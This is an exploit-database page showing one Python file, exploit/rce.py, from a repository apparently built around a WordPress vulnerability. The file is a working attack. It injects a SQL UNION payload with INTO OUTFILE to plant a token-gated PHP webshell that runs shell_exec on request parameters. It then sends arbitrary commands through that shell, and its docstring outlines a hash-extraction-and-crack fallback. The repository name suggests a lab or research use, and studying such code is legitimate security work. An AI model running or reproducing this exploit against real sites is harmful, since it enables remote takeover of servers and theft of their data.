Exploit databaseDownload repository ZIP
GH-1685458f28fceb57d2f1838860a27df8
47cid/wp2shell-lab
Sources for CVE-2026-63030
50 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
47cid/wp2shell-labRevision eab817732d7c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/rce.py
Python · 1,973 bytes"""INTO OUTFILE RCE — write a PHP payload to disk via SQL injection.
Preconditions (NOT the WordPress default):
- MySQL user has FILE privilege
- secure_file_priv points to a directory served by the webserver
This is the only known pre-auth RCE path. Without FILE privilege, exploitation
is limited to blind database reads (extract admin hash -> offline crack -> login).
"""
from __future__ import annotations
import secrets
from typing import Optional, Tuple
from .batch import BatchClient
def write_webshell(
client: BatchClient,
*,
outfile_dir: str = "/var/lib/mysql-files",
web_dir: str = "/rce",
) -> Optional[Tuple[str, str, str]]:
"""Write a token-gated webshell via INTO OUTFILE.
Uses a random filename each time (MySQL's INTO OUTFILE refuses to overwrite).
Returns (web_path, token, filename) on success, None on failure.
"""
token = secrets.token_hex(16)
filename = f"s_{secrets.token_hex(4)}.php"
outfile_path = f"{outfile_dir}/{filename}"
web_path = f"{web_dir}/{filename}"
php = (
"<?php "
f"if(hash_equals('{token}',($_GET['t']??''))&&isset($_GET['c']))"
"{echo shell_exec($_GET['c']);} "
"?>"
)
sqli = (
f"0) AND 1=0 UNION SELECT '{_escape(php)}' "
f"INTO OUTFILE '{_escape(outfile_path)}'-- -"
)
resp = client.inject(sqli)
if resp.status == 207:
return web_path, token, filename
return None
def run_command(
client: BatchClient,
shell_path: str,
token: str,
command: str,
) -> Optional[str]:
"""Execute a command via the deployed webshell."""
import urllib.parse
query = urllib.parse.urlencode({"t": token, "c": command})
try:
resp = client.get(f"{shell_path}?{query}")
if resp.status == 200:
return resp.body
except Exception:
pass
return None
def _escape(s: str) -> str:
return s.replace("\\", "\\\\").replace("'", "\\'")